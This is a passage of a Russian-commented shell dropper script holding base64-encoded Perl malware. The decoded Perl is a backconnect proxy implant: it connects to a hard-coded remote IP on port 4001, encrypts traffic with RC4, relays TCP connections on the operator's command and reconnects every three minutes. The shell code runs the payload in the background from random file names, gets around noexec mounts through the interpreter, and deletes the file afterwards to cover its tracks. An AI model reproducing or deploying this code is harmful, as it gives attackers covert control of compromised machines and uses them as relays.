XkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_f92a81c2() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA